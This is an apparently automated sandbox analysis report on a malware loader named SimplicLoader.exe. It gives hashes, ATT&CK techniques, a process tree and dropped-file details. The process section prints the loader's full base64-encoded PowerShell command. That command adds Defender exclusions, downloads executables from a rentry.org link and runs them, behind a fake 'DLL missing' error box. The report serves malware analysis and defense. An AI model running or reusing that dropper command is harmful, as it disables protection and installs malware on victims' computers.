3797d33045461d3f38719dc5a2c226a8163dc06ac0b75c2a93c54ab91f0efb5b

Analysis

max time kernel
133s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
27-04-2023 13:16

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General

Target

SimplicLoader.exe
Size

75KB
MD5

72fb96fbbee9fa0c1c25030152f8a802
SHA1

22d1be899c8a2aca51420a9ae3f89c5528d7e347
SHA256

1f08b5e59bf1ec24b9be2c2211dccf22a6651202d29a9be6d8d2f99b127a9274
SHA512

bbcee824c437c0069d174d2b34ed42cecef72c22fee9418144af64083d8833af9572b3670bacfcfc1eb5cfa3da269aa289ee10d9d2eeb2442763e1dda1e3248d
SSDEEP

768:ol9EoLDR6GjcJUsg6O/scbnY+kVgbu7FpMtqwH7pRMAfPdqoxgGgKrVuua:S9RuU/da7HM1Zgero

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/yui9p/raw

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1208 powershell.exe

flow	pid	process
7	1208	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

SimplicLoader.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	SimplicLoader.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1208 powershell.exe
1208 powershell.exe
1920 powershell.exe
1920 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1208 powershell.exe
Token: SeDebugPrivilege 1920 powershell.exe

pid	process
1208	powershell.exe
1208	powershell.exe
1920	powershell.exe
1920	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

SimplicLoader.exepowershell.exe

description	pid	process	target process
PID 3548 wrote to memory of 1208	3548	SimplicLoader.exe	powershell.exe
PID 3548 wrote to memory of 1208	3548	SimplicLoader.exe	powershell.exe
PID 1208 wrote to memory of 1920	1208	powershell.exe	powershell.exe
PID 1208 wrote to memory of 1920	1208	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe
"C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAdwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHcAbABzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATQBTAFYAQwBQADEAMQA0AC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAdgBmACMAPgA7ACIAOwA8ACMAeQBwAG4AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBuAHoAdQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB5AGMAbAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHgAbAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeQB1AGkAOQBwAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAGcAaAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGwAdwBtACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAaAB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBiAHcAaAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHUAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdAB4AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGEAcgB6ACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#wls#>[System.Windows.Forms.MessageBox]::Show('MSVCP114.dll is missing!','','OK','Error')<#xvf#>;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
360B

MD5
f12c5f3d2c0079e1eaa951894d9868df

SHA1
238307ffe58fbaf2d1d175efe4ee579306514477

SHA256
5993b01080690bc9fb72dd556b155a6e7e9747038426810b3fb76f97daff4ac6

SHA512
08abf2c517743dfb53f289acba4c1a03bed4203fc0ae9574cfab4ec84537b1d6926509d1d1c3fa867e78fd903931de3fec3149bfacc5a9b081970ad3247e1b94

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mvnbtnfj.tbb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1208-140-0x000001D75B050000-0x000001D75B072000-memory.dmp

Filesize
136KB

Download
memory/1208-145-0x000001D75B0D0000-0x000001D75B0E0000-memory.dmp

Filesize
64KB

Download
memory/1208-146-0x000001D75B0D0000-0x000001D75B0E0000-memory.dmp

Filesize
64KB

Download
memory/1208-156-0x000001D75B0D0000-0x000001D75B0E0000-memory.dmp

Filesize
64KB

Download
memory/1920-157-0x000001AD29C60000-0x000001AD29C70000-memory.dmp

Filesize
64KB

Download
memory/1920-158-0x000001AD29C60000-0x000001AD29C70000-memory.dmp

Filesize
64KB

Download
memory/3548-133-0x0000000000B40000-0x0000000000B58000-memory.dmp

Filesize
96KB

Download